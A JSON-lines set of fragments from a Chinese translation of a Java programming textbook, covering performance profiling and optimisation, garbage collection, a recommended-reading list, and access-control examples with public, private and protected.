    {"text": "下面这个地方提供 了大量有益的链接： ｈｔｔｐ：／／ｗｗｗ．ｕｌｂ．ａｃ．ｂｅ／ｅｓｐ／ｉｐ－Ｌｉｎｋｓ／Ｊａｖａ／ｊｏｏｄｃｓ／ｍｍ－ＷｅｂＢｉｂｌｉｏ．ｈｔｍｌ ６７８ 附录 Ｄ 性能 “本附录由 Ｊｏｅ Ｓｈａｒｐ 投稿，并获得他的同意在这儿转载。"},
    {"text": "”（Ｓｔｅｖｅ ＭｃＣｏｎｎｅｌｌ 的《Ａｂｏｕｔ ｐｅｒｆｏｒｍａｎｃｅ》［１６］） 本附录的宗旨就是指导大家寻找和优化“需要完善的那一部分”。"},
    {"text": "Ｋｎｕｔｈ 在编程界有一句名言：“过早的优 化是一切麻烦的根源”（Ｐｒｅｍａｔｕｒｅ ｏｐｔｉｍｉｚａｔｉｏｎ ｉｓ ｔｈｅ ｒｏｏｔ ｏｆ ａｌｌ ｅｖｉｌ）。 最明智的做法是抑制过早 优化的冲动，因为那样做可能遗漏多种有用的编程技术，造成代码更难理解和操控，并需更大的精力进行维 护。"},
    {"text": "Ｄ ． ２ 寻找瓶颈 为找出最影响程序性能的瓶颈，可采取下述几种方法： Ｄ ． ２ ． １ 安插自己的测试代码 插入下述“显式”计时代码，对程序进行评测： ｌｏｎｇ ｓｔａｒｔ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）；"},
    {"text": "由于一旦出错，编译器 会将其忽略，所以可用一个“静态最终布尔值”（Ｓｔａｔｉｃ ｆｉｎａｌ ｂｏｏｌｅａｎ）打开或关闭计时，使代码能放心 留在最终发行的程序里，这样任何时候都可以拿来应急。"},
    {"text": "例如： ｊａｖａ＿ｇ －ｐｒｏｆ ｍｙＣｌａｓｓ 或加上一个程序片（Ａｐｐｌｅｔ）： ６７９ ｊａｖａ＿ｇ －ｐｒｏｆ ｓｕｎ．ａｐｐｌｅｔ．ＡｐｐｌｅｔＶｉｅｗｅｒ ａｐｐｌｅｔ．ｈｔｍｌ 理解评测程序的输出信息并不容易。"},
    {"text": "然而，若您用的平台确实能支持－ｐｒｏｆ 选项，那么可试试 Ｖｌａｄｉｍｉｒ Ｂｕｌａｔｏｖ 的 “ＨｙｐｅｒＰｏｒｆ”［３］或者 Ｇｒｅｇ Ｗｈｉｔｅ 的“ＰｒｏｆｉｌｅＶｉｅｗｅｒ”来解释一下结果。"},
    {"text": "比如由 Ｊｏｎａｔｈａｎ Ｈａｒｄｗｉｃｋ 制作的“Ｔｏｏｌｓ ｆｏｒ Ｏｐｔｉｍｉｚｉｎｇ Ｊａｖａ”（Ｊａｖａ 优化工具）网站： ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｃｍｕ．ｅｄｕ／￣ｊｃｈ／ｊａｖａ／ｔｏｏｌｓ．ｈｔｍｌ Ｄ ． ２ ． ４ 性能评测的技巧 由于评测时要用到系统时钟，所以当时不要运行其他任何进程或应用程序，以免影响测试结果。"},
    {"text": "例如，在《Ｐｒｏｇｒａｍｍｉｎｇ Ｐｅａｒｌｓ》（编程拾 贝）一书中［１４］，Ｂｅｎｔｌｅｙ 利用了一段小说数据描写，它可以生成速度非常快、而且非常精简的拼写检查 器，从而介绍了 Ｄｏｕｇ ＭｃＩｌｒｏｙ 对英语语言的表述。"},
    {"text": "运算 示例 标准时间 本地赋值 ｉ＝ｎ； １．０ 实例赋值 ｔｈｉｓ．ｉ＝ｎ； １．２ ｉｎｔ 增值 ｉ＋＋； １．５ ｂｙｔｅ 增值 ｂ＋＋； ２．０ ｓｈｏｒｔ 增值 ｓ＋＋； ２．０ ｆｌｏａｔ 增值 ｆ＋＋； ２．０ ｄｏｕｂｌｅ 增值 ｄ＋＋； ２．０ 空循环 ｗｈｉｌｅ（ｔｒｕｅ） ｎ＋＋；"},
    {"text": "５．９ ｔｈｒｏｗ 或 ｃａｔｃｈ 异常 ｔｒｙ｛ ｔｈｒｏｗ ｅ； ｝或 ｃａｔｃｈ（ｅ）｛｝ ３２０ 同步方法调用 ｓｙｎｃｈＭｅｈｏｄ（）； ５７０ 新建对象 ｎｅｗ Ｏｂｊｅｃｔ（）； ９８０ 新建数组 ｎｅｗ ｉｎｔ［１０］；"},
    {"text": "３１００ ６８０ 通过自己的系统（如我的 Ｐｅｎｔｉｕｍ ２００ Ｐｒｏ，Ｎｅｔｓｃａｐｅ ３ 及 ＪＤＫ １．１．５），这些相对时间向大家揭示出：新 建对象和数组会造成最沉重的开销，同步会造成比较沉重的开销，而一次不同步的方法调用会造成适度的开 销。"},
    {"text": "将．．． 修改成．．． 理由 接口 抽象类（只需一个父时） 接口的多个继承会妨碍性能的优化 非本地或数组循环变量 本地循环变量 根据前表的耗时比较，一次实例整数赋值的时间是本地整数赋值时间 的 １．２ 倍，但数组赋值的时间是本地整数赋值的 ２．７ 倍 链接列表（固定尺寸） 保存丢弃的链接项目，或将列表替换成一个循环数组（大致知道尺寸） 每新建一个 对象，都相当于本地赋值 ９８０ 次。"},
    {"text": "参考“重复利用对象”（下一节）、Ｖａｎ Ｗｙｋ［１２］ ｐ．８７ 以及 Ｂｅｎｔｌｅｙ［１５］ ｐ．８１ ｘ／２（或 ２ 的任意次幂） Ｘ＞＞２（或 ２ 的任意次幂） 使用更快的硬件指令 Ｄ ． ３ ． ３ 特殊情况 ■字串的开销：字串连接运算符＋看似简单，但实际需要消耗大量系统资源。"},
    {"text": "例如，假设 ｓ 和 ｔ 是字串变量： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｈｅａｄｉｎｇ＂ ＋ ｓ ＋ ＂ｔｒａｉｌｅｒ＂ ＋ ｔ）； 上述语句要求新建一个 ＳｔｒｉｎｇＢｕｆｆｅｒ（字串缓冲），追加自变量，然后用 ｔｏＳｔｒｉｎｇ（）将结果转换回一个字 串。"},
    {"text": "■同步：在 ＪＤＫ 解释器中，调用同步方法通常会比调用不同步方法慢 １０ 倍。 经 ＪＩＴ 编译器处理后，这一性能 上的差距提升到 ５０ 到 １００ 倍（注意前表总结的时间显示出要慢 ９７ 倍）。"},
    {"text": "■重复利用对象：要花很长的时间来新建一个对象（根据前表总结的时间，对象的新建时间是赋值时间的 ９８０ 倍，而新建一个小数组的时间是赋值时间的 ３１００ 倍）。"},
    {"text": "■散列处理：首先，Ｊａｖａ １．０ 和 １．１ 的标准“散列表”（Ｈａｓｈｔａｂｌｅ）类需要造型以及特别消耗系统资源的 同步处理（５７０ 单位的赋值时间）。"},
    {"text": "■方法内嵌：只有在方法属于 ｆｉｎａｌ（最终）、ｐｒｉｖａｔｅ（专用）或 ｓｔａｔｉｃ（静态）的情况下，Ｊａｖａ 编译器 才能内嵌这个方法。"},
    {"text": "注意 ＪＤＫ １．０ 的 Ｉ／Ｏ 类 采用了大量同步措施，所以若使用象 ｒｅａｄＦｕｌｌｙ（）这样的一个“大批量”调用，然后由自己解释数据，就可 获得更佳的性能。 也要注意 Ｊａｖａ １．１ 的“ｒｅａｄｅｒ”和“ｗｒｉｔｅｒ”类已针对性能进行了优化。"},
    {"text": "例如，为根据一系列点画一个多边形，和 ｄｒａｗＬｉｎｅ（）相比， ｄｒａｗＰｏｌｙｇｏｎ（）的速度要快得多。 如必须画一条单像素粗细的直线，ｄｒａｗＬｉｎｅ（ｘ，ｙ，ｘ，ｙ）的速度比 ｆｉｌｌＲｅｃｔ（ｘ，ｙ，１，１）快。"},
    {"text": "Ｄ ． ４ 参考资源 Ｄ ． ４ ． １ 性能工具 ［１］ 运行于 Ｐｅｎｔｉｕｍ Ｐｒｏ ２００，Ｎｅｔｓｃａｐｅ ３．０，ＪＤＫ １．１．４ 的 ＭｉｃｒｏＢｅｎｃｈｍａｒｋ（参见下面的参考资源［５］） ［２］ Ｓｕｎ 的 Ｊａｖａ 文档页——ＪＤＫ Ｊａｖａ 解释器主题： ｈｔｔｐ：／／ｊａｖａ．ｓｕｎ．ｃｏｍ／ｐｒｏｄｕｃｔｓ／ＪＤＫ／ｔｏｏｌｓ／ｗｉｎ３２／ｊａｖａ．ｈｔｍｌ ［３］ Ｖｌａｄｉｍｉｒ Ｂｕｌａｔｏｖ 的 ＨｙｐｅｒＰｒｏｆ ｈｔｔｐ：／／ｗｗｗ．ｐｈｙｓｉｃｓ．ｏｒｓｔ．ｅｄｕ／￣ｂｕｌａｔｏｖ／ＨｙｐｅｒＰｒｏｆ ［４］ Ｇｒｅｇ Ｗｈｉｔｅ 的 ＰｒｏｆｉｌｅＶｉｅｗｅｒ ｈｔｔｐ：／／ｗｗｗ．ｉｎｅｔｍｉ．ｃｏｍ／￣ｇｗｈｉ／ＰｒｏｆｉｌｅＶｉｅｗｅｒ／ＰｒｏｆｉｌｅＶｉｅｗｅｒ．ｈｔｍｌ Ｄ ． ４ ． ２ Ｗ ｅ ｂ 站点 ［５］ 对于 Ｊａｖａ 代码的优化主题，最出色的在线参考资源是 Ｊｏｎａｔｈａｎ Ｈａｒｄｗｉｃｋ 的“Ｊａｖａ Ｏｐｔｉｍｉｚａｔｉｏｎ”网 站： ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｃｍｕ．ｅｄｕ／￣ｊｃｈ／ｊａｖａ／ｏｐｔｉｍｉｚａｔｉｏｎ．ｈｔｍｌ “Ｊａｖａ 优化工具”主页： ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｃｍｕ．ｅｄｕ／￣ｊｃｈ／ｊａｖａ／ｔｏｏｌｓ．ｈｔｍｌ 以及“Ｊａｖａ Ｍｉｃｒｏｂｅｎｃｈｍａｒｋｓ”（有一个 ４５ 秒钟的评测过程）： ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｃｍｕ．ｅｄｕ／￣ｊｃｈ／ｊａｖａ／ｂｅｎｃｈｍａｒｋｓ．ｈｔｍｌ Ｄ ． ４ ． ３ 文章 ［６］ “Ｍａｋｅ Ｊａｖａ ｆａｓｔ：Ｏｐｔｉｍｉｚｅ！ Ｈｏｗ ｔｏ ｇｅｔ ｔｈｅ ｇｒｅａｔｅｓｔ ｐｅｒｆｏｒｍａｎｃｅｏｕｔ ｏｆ ｙｏｕｒ ｃｏｄｅ ｔｈｒｏｕｇｈ ｌｏｗ－ ｌｅｖｅｌ ｏｐｔｉｍｉｚａｔｉｏｎｓ ｉｎ Ｊａｖａ”（让 Ｊａｖａ 更快：优化！"},
    {"text": "网址： ｈｔｔｐ：／／ｗｗｗ．ｊａｖａｗｏｒｌｄ．ｃｏｍ／ｊａｖａｗｏｒｌｄ／ｊｗ－０４－１９９７／ｊｗ－０４－ｏｐｔｉｍｉｚｅ．ｈｔｍｌ （含一个全面的性能评测程序片，有详尽注释） ［７］ “Ｊａｖａ Ｏｐｔｉｍｉｚａｔｉｏｎ Ｒｅｓｏｕｒｃｅｓ ”（Ｊａｖａ 优化资源） ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｃｍｕ．ｅｄｕ／￣ｊｃｈ／ｊａｖａ／ｒｅｓｏｕｒｃｅｓ．ｈｔｍｌ ［８］ “Ｏｐｔｉｍｉｚｉｎｇ Ｊａｖａ ｆｏｒ Ｓｐｅｅｄ”（优化 Ｊａｖａ，提高速度）： ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｃｍｕ．ｅｄｕ／￣ｊｃｈ／ｊａｖａ／ｓｐｅｅｄ．ｈｔｍｌ ６８２ ［９］ “Ａｎ Ｅｍｐｉｒｉｃａｌ Ｓｔｕｄｙ ｏｆ ＦＯＲＴＲＡＮ Ｐｒｏｇｒａｍｓ”（ＦＯＲＴＲＡＮ 程序实战解析）。"},
    {"text": "［１０］ “Ｂｕｉｌｄｉｎｇ Ｈｉｇｈ－Ｐｅｒｆｏｒｍａｎｃｅ Ａｐｐｌｉｃａｔｉｏｎｓ ａｎｄ Ｓｅｒｖｅｒｓ ｉｎ Ｊａｖａ：Ａｎ Ｅｘｐｅｒｉｅｎｔｉａｌ Ｓｔｕｄｙ”。 作 者：Ｊｉｍｍｙ Ｎｇｕｙｅｎ ，Ｍｉｃｈａｅｌ Ｆｒａｅｎｋｅｌ，ＲｉｃｈａｒｄＲｅｄｐａｔｈ，Ｂｉｎｈ Ｑ． Ｎｇｕｙｅｎ 以及 Ｓａｎｄｅｅｐ Ｋ． Ｓｉｎｇｈａｌ。 ＩＢＭ Ｔ．Ｊ． Ｗａｔｓｏｎ ＲｅｓｅａｒｃｈＣｅｎｔｅｒ，ＩＢＭ Ｓｏｆｔｗａｒｅ Ｓｏｌｕｔｉｏｎｓ。"},
    {"text": "ｈｔｔｐ：／／ｗｗｗ．ｉｂｍ．ｃｏｍ／ｊａｖａ／ｅｄｕｃａｔｉｏｎ／ｊａｖａｈｉｐｒ．ｈｔｍｌ Ｄ ． ４ ． ４ Ｊ ａ ｖ ａ 专业书籍 ［１１］ 《Ａｄｖａｎｃｅｄ Ｊａｖａ，Ｉｄｉｏｍｓ，Ｐｉｔｆａｌｌｓ ，Ｓｔｙｌｅｓ， ａｎｄ Ｐｒｏｇｒａｍｍｉｎｇ Ｔｉｐｓ》。"},
    {"text": "［１６］ 《Ｃｏｄｅ Ｃｏｍｐｌｅｔｅ：Ａ Ｐｒａｃｔｉｃａｌ Ｈａｎｄｂｏｏｋ ｏｆ Ｓｏｆｔｗａｒｅ Ｃｏｎｓｔｒｕｃｔｉｏｎ》（完整代码索引：实用软件开发手册）。"},
    {"text": "［１９］ 《Ａｌｇｏｒｉｔｈｍｓ ｉｎ Ｃ：Ｆｕｎｄａｍｍｅｎｔａｌｓ，Ｄａｔａ Ｓｔｒｕｃｔｕｒｅｓ， Ｓｏｒｔｉｎｇ，Ｓｅａｒｃｈｉｎｇ》（Ｃ 算法：基础、数据结 构、排序、搜索）第 ３ 版。"},
    {"text": "Ｃ＋＋也直接建立在 Ｃ 模型的基础上（主要为了向后兼容），但有 时仅仅由于它在 Ｃ 中能按特定的方式工作，所以也是 Ｃ＋＋中最方便的一种方法。"},
    {"text": "最重要的一种情况是 Ｃ 和 Ｃ＋＋ 对内存的管理方式，它是某些人觉得 Ｊａｖａ 速度肯定慢的重要依据：在 Ｊａｖａ 中，所有对象都必须在内存 “堆”里创建。"},
    {"text": "这样可达到更快的速度，因为当我们进入一个特定的作用域时，堆栈 指针会向下移动一个单位，为那个作用域内创建的、以堆栈为基础的所有对象分配存储空间。 而当我们离开 作用域的时候（调用完毕所有局部构建器后），堆栈指针会向上移动一个单位。"},
    {"text": "在 Ｃ＋＋里调用 ｄｅｌｅｔｅ 以后，释放的内存会在堆里留下一个洞，所以再调用 ｎｅｗ 的时候，存储分配机制必须进行某种形式的搜索，使对象的存储与堆内任何现成的洞相配，否则就会很快用 光堆的存储空间。 之所以内存堆的分配会在 Ｃ＋＋里对性能造成如此重大的性能影响，对可用内存的搜索正是 一个重要的原因。"},
    {"text": "从表面上看，这种说法似乎有些奇怪——存储空间的释放会对存储空间的分配造成 影响，但它正是 ＪＶＭ 采取的重要手段之一，这意味着在 Ｊａｖａ 中为堆对象分配存储空间几乎能达到与 Ｃ＋＋中在 堆栈里创建存储空间一样快的速度。"},
    {"text": "“堆指针”简单地向前移至处女地，所以它与 Ｃ＋＋的堆栈分配方式几乎是完全相同的（当然，在数据 记录上会多花一些开销，但要比搜索存储空间快多了）。"},
    {"text": "对于自己找到的每个句柄，都必须跟踪到它指向的那个对象，然后跟随那个对象中的所有句柄，“跟踪追 击”到它们指向的对象……等等，直到遍历了从堆栈或静态存储区域中的句柄发起的整个链接网路为止。"},
    {"text": "在清除过程中，死锁的对象会被释放然而，不会进行任何形式的复 制，所以假若收集器决定压缩一个断续的内存堆，它通过移动周围的对象来实现。"},
    {"text": "ＪＶＭ 会监视垃圾收集器的效率，如果由于所有 对象都属于长期对象，造成垃圾收集成为浪费时间的一个过程，就会切换到“标记和清除”方案。"},
    {"text": "此时，一 个方法是用 ＪＩＴ 编译所有代码，但这样做有两方面的缺点：它会花更多的时间，若与程序的运行时间综合考 虑，编译时间还有可能更长；"},
    {"text": "６８５ 附录 Ｆ 推荐读物 ■《Ｊａｖａ ｉｎ ａ Ｎｕｔｓｈｅｌｌ：Ａ Ｄｅｓｋｔｏｐ Ｑｕｉｃｋ Ｒｅｆｅｒｅｎｃｅ，第 ２ 版》 作者：Ｄａｖｉｄ Ｆｌａｎａｇａｎ 出版社：Ｏ＇Ｒｅｉｌｌｙ ＆ Ａｓｓｏｃ 出版时间：１９９７ 简介：对 Ｊａｖａ １．１ 联机文档的一个简要总结。"},
    {"text": "■《Ｔｈｅ Ｊａｖａ Ｃｌａｓｓ Ｌｉｂｒａｒｉｅｓ：Ａｎ Ａｎｎｏｔａｔｅｄ Ｒｅｆｅｒｅｎｃｅ》 作者：Ｐａｔｒｉｃｋ Ｃｈａｎ 和 Ｒｏｓａｎｎａ Ｌｅｅ 出版社：Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 出版时间：１９９７ 简介：作为一种联机参考资源，应向读者提供足够多的说明，使其简单易用。"},
    {"text": "■《Ｊａｖａ Ｎｅｔｗｏｒｋ Ｐｒｏｇｒａｍｍｉｎｇ》 作者：Ｅｌｌｉｏｔｅ Ｒｕｓｔｙ Ｈａｒｏｌｄ Ｄａｖｉｄ Ｆｌａｎａｇａｎ 出版社：Ｏ＇Ｒｅｉｌｌｙ 出版时间：１９９７ 简介：在阅读本书前，我可以说根本不理解 Ｊａｖａ 有关网络的问题。"},
    {"text": "后来，我也发现他的 Ｗｅｂ 站点“Ｃａｆｅ ａｕ Ｌａｉｔ”是个令人激动的、很人个性的以及经常更新的去处，涉及大量有价值的 Ｊａｖａ 开发资源。"},
    {"text": "■《Ｃｏｒｅ Ｊａｖａ，第 ３ 版》 作者：Ｃｏｒｎｅｌ 和 Ｈｏｒｓｔｍａｎｎ 出版社：Ｐｒｅｎｔｉｃｅ－Ｈａｌｌ 出版时间：１９９７ 简介：对于自己碰到的问题，若在《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》里找不到答案，这就是一个很好的参考地点。 注 意：Ｊａｖａ １．１ 的版本是《Ｃｏｒｅ Ｊａｖａ １．１ Ｖｏｌｕｍｅ １－Ｆｕｎｄａｍｅｎｔａｌｓ ＆ Ｃｏｒｅ Ｊａｖａ １．１ Ｖｏｌｕｍｅ ２ －Ａｄｖａｎｃｅｄ Ｆｅａｔｕｒｅｓ》 ■《ＪＤＢＣ Ｄａｔａｂａｓｅ Ａｃｃｅｓｓ ｗｉｔｈ Ｊａｖａ》 作者：Ｈａｍｉｌｔｏｎ，Ｃａｔｔｅｌｌ 和 Ｆｉｓｈｅｒ 出版社：Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 出版时间：１９９７ 简介：如果对 ＳＱＬ 和数据库一无所知，这本书就可以作为一个相当好的起点。"},
    {"text": "与“Ｊａｖａ 系列”（由 ＪａｖａＳｏｆｔ 授权的唯一一套丛书）的其他所有书籍一样， 这本书的缺点也是进行了过份的渲染，只说 Ｊａｖａ 的好话——在这一系列书籍里找不到任何不利于 Ｊａｖａ 的地 方。"},
    {"text": "■《Ｊａｖａ Ｐｒｏｇｒａｍｍｉｎｇ ｗｉｔｈ ＣＯＲＢＡ》 作者：Ａｎｄｒｅａｓ Ｖｏｇｅｌ 和 Ｋｅｉｔｈ Ｄｕｄｄｙ 出版社：Ｊｏｎｈ Ｗｉｌｅｙ ＆ Ｓｏｎｓ 出版时间：１９９７ 简介：针对三种主要的 Ｊａｖａ ＯＲＢ（Ｖｉｓｂｒｏｋｅｒ，Ｏｒｂｉｘ，Ｊｏｅ），本书分别用大量代码实例进行了详尽的阐 ６８６ 述。 ■《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》 作者：Ｇａｍｍａ，Ｈｅｌｍ，Ｊｏｈｎｓｏｎ 和 Ｖｌｉｓｓｉｄｅｓ 出版社：Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 出版时间：１９９５ 简介：这是一本发起了编程领域方案革命的经典书籍。 ■《ＵＭＬ Ｔｏｏｌｋｉｔ》 作者：Ｈａｎｓ－Ｅｒｉｋ Ｅｒｉｋｓｓｏｎ 和 Ｍａｇｎｕｓ Ｐｅｎｋｅｒ 出版社：Ｊｏｎｈ Ｗｉｌｅｙ ＆ Ｓｏｎｓ 出版时间：１９９７ 简介：解释 ＵＭＬ 以及如何使用它，并提供 Ｊａｖａ 的实际案例供参考。"},
    {"text": "■《Ｐｒａｃｔｉｃａｌ Ａｌｇｏｒｉｔｈｍｓ ｆｏｒ Ｐｒｏｇｒａｍｍｅｒｓ》 作者：Ｂｉｎｓｔｏｃｋ 和 Ｒｅｘ 出版社：Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 出版时间：１９９５ 简介：算法是用 Ｃ 描述的，所以它们很容易就能转换到 Ｊａｖａ 里面。"},
    {"text": "index ｉｍｐｏｒｔ ｃ０５．ｄｅｓｓｅｒｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｄｉｎｎｅｒ ｛ ｐｕｂｌｉｃ Ｄｉｎｎｅｒ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｉｎｎｅｒ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｏｋｉｅ ｘ ＝ ｎｅｗ Ｃｏｏｋｉｅ（）；"},
    {"text": "／／ Ｃａｎ＇ｔ ａｃｃｅｓｓ ｝ ｝ ／／／：￣ 就可以创建一个 Ｃｏｏｋｉｅ 对象，因为它的构建器是 ｐｕｂｌｉｃ 的，而且类也是 ｐｕｂｌｉｃ 的（公共类的概念稍后还会 进行更详细的讲述）。"},
    {"text": "１． 默认包 大家可能会惊讶地发现下面这些代码得以顺利编译——尽管它看起来似乎已违背了规则： １３１ ／／： Ｃａｋｅ．ｊａｖａ ／／ Ａｃｃｅｓｓｅｓ ａ ｃｌａｓｓ ｉｎ ａ ｓｅｐａｒａｔｅ ／／ ｃｏｍｐｉｌａｔｉｏｎ ｕｎｉｔ． ｃｌａｓｓ Ｃａｋｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐｉｅ ｘ ＝ ｎｅｗ Ｐｉｅ（）；"},
    {"text": "｝ ｝ ／／／：￣ 在位于相同目录的第二个文件里： ／／： Ｐｉｅ．ｊａｖａ ／／ Ｔｈｅ ｏｔｈｅｒ ｃｌａｓｓ ｃｌａｓｓ Ｐｉｅ ｛ ｖｏｉｄ ｆ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｉｅ．ｆ（）＂）； ｝ ｝ ／／／：￣ 最初可能会把它们看作完全不相干的文件，然而 Ｃａｋｅ 能创建一个 Ｐｉｅ 对象，并能调用它的 ｆ（）方法！"},
    {"text": "而且作为一个结果，最开 始的时候通常会认为自己不必频繁使用 ｐｒｉｖａｔｅ 关键字，因为完全可以在不用它的前提下发布自己的代码 （这与 Ｃ＋＋是个鲜明的对比）。"},
    {"text": "下面是应用了 ｐｒｉｖａｔｅ 的一个例子： ／／： ＩｃｅＣｒｅａｍ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ＂ｐｒｉｖａｔｅ＂ ｋｅｙｗｏｒｄ ｃｌａｓｓ Ｓｕｎｄａｅ ｛ ｐｒｉｖａｔｅ Ｓｕｎｄａｅ（） ｛｝ ｓｔａｔｉｃ Ｓｕｎｄａｅ ｍａｋｅＡＳｕｎｄａｅ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｓｕｎｄａｅ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＩｃｅＣｒｅａｍ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／！ Ｓｕｎｄａｅ ｘ ＝ ｎｅｗ Ｓｕｎｄａｅ（）； Ｓｕｎｄａｅ ｘ ＝ Ｓｕｎｄａｅ．ｍａｋｅＡＳｕｎｄａｅ（）；"},
    {"text": "１３２ ｝ ｝ ／／／：￣ 这个例子向我们证明了使用 ｐｒｉｖａｔｅ 的方便：有时可能想控制对象的创建方式，并防止有人直接访问一个特 定的构建器（或者所有构建器）。"},
    {"text": "③：此时还会产生另一个影响：由于默认构建器是唯一获得定义的，而且它的属性是 ｐｒｉｖａｔｅ，所以可防止 对这个类的继承（这是第 ６ 章要重点讲述的主题）。"},
    {"text": "若确定一个类只有一个“助手”方法，那么对于任何方法来说，都可以把它们设为 ｐｒｉｖａｔｅ，从而保证自己 不会误在包内其他地方使用它，防止自己更改或删除方法。 将一个方法的属性设为 ｐｒｉｖａｔｅ 后，可保证自己 一直保持这一选项（然而，若一个句柄被设为 ｐｒｉｖａｔｅ，并不表明其他对象不能拥有指向同一个对象的 ｐｕｂｌｉｃ 句柄。"},
    {"text": "ｐｒｏｔｅｃｔｅｄ 关键字为我们引入了一种名为“继承”的概念，它以现有的类为基础，并在其中加入新的成员， 同时不会对现有的类产生影响——我们将这种现有的类称为“基础类”或者“基本类”（Ｂａｓｅ Ｃｌａｓｓ）。"},
    {"text": "若往回引用 ５．２．２ 小节 “ｐｕｂｌｉｃ：接口访问”的那个 Ｃｏｏｋｉｅ．ｊａｖａ 文件，则下面这个类就不能访问“友好”的成员： ／／： ＣｈｏｃｏｌａｔｅＣｈｉｐ．ｊａｖａ ／／ Ｃａｎ＇ｔ ａｃｃｅｓｓ ｆｒｉｅｎｄｌｙ ｍｅｍｂｅｒ ／／ ｉｎ ａｎｏｔｈｅｒ ｃｌａｓｓ ｉｍｐｏｒｔ ｃ０５．ｄｅｓｓｅｒｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＣｈｏｃｏｌａｔｅＣｈｉｐ ｅｘｔｅｎｄｓ Ｃｏｏｋｉｅ ｛ ｐｕｂｌｉｃ ＣｈｏｃｏｌａｔｅＣｈｉｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＣｈｏｃｏｌａｔｅＣｈｉｐ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＣｈｏｃｏｌａｔｅＣｈｉｐ ｘ ＝ ｎｅｗ ＣｈｏｃｏｌａｔｅＣｈｉｐ（）；"},
    {"text": "／／ Ｃａｎ＇ｔ ａｃｃｅｓｓ ｆｏｏ ｝ ｝ ／／／：￣ 对于继承，值得注意的一件有趣的事情是倘若方法 ｆｏｏ（）存在于类 Ｃｏｏｋｉｅ 中，那么它也会存在于从 Ｃｏｏｋｉｅ 继承的所有类中。"},
    {"text": "若象下面这样修改类 Ｃｏｏｋｉｅ： ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｏｋｉｅ ｛ １３３ ｐｕｂｌｉｃ Ｃｏｏｋｉｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｏｋｉｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）；"},
    {"text": "若结构在一系列程序中使用，但用户 除了将消息发给 ｐｕｂｌｉｃ 接口之外，不能做其他任何事情，我们就可以改变不属于 ｐｕｂｌｉｃ 的所有东西（如 “友好的”、ｐｒｏｔｅｃｔｅｄ 以及 ｐｒｉｖａｔｅ），同时不要求用户对他们的代码作任何修改。"},
    {"text": "为清楚起见，可考虑用特殊的样式创建一个类：将 ｐｕｂｌｉｃ 成员置于最开头，后面跟随 ｐｒｏｔｅｃｔｅｄ、友好以及 ｐｒｉｖａｔｅ 成员。"},
    {"text": "这样做的好处是类的使用者可从上向下依次阅读，并首先看到对自己来说最重要的内容（即 ｐｕｂｌｉｃ 成员，因为它们可从文件的外部访问），并在遇到非公共成员后停止阅读，后者已经属于内部实施细 节的一部分了。"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｘ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｕｂ１（ ） ｛ ／＊ ． ． ． ＊／ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｕｂ２（ ） ｛ ／＊ ． ． ． ＊／ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｕｂ３（ ） ｛ ／＊ ． ． ． ＊／ ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｐｒｉｖ１（ ） ｛ ／＊ ． ． ． ＊／ ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｐｒｉｖ２（ ） ｛ ／＊ ． ． ． ＊／ ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｐｒｉｖ３（ ） ｛ ／＊ ． ． ． ＊／ ｝ ｐｒｉｖａｔｅ ｉｎｔ ｉ；"},
    {"text": "所以我们能够使用： ｐｕｂｌｉｃ ｃｌａｓｓ Ｗｉｄｇｅｔ ｛ 也就是说，假若我们的库名是 ｍｙｌｉｂ，那么所有客户程序员都能访问 Ｗｉｄｇｅｔ——通过下述语句： ｉｍｐｏｒｔ ｍｙｌｉｂ．Ｗｉｄｇｅｔ；"},
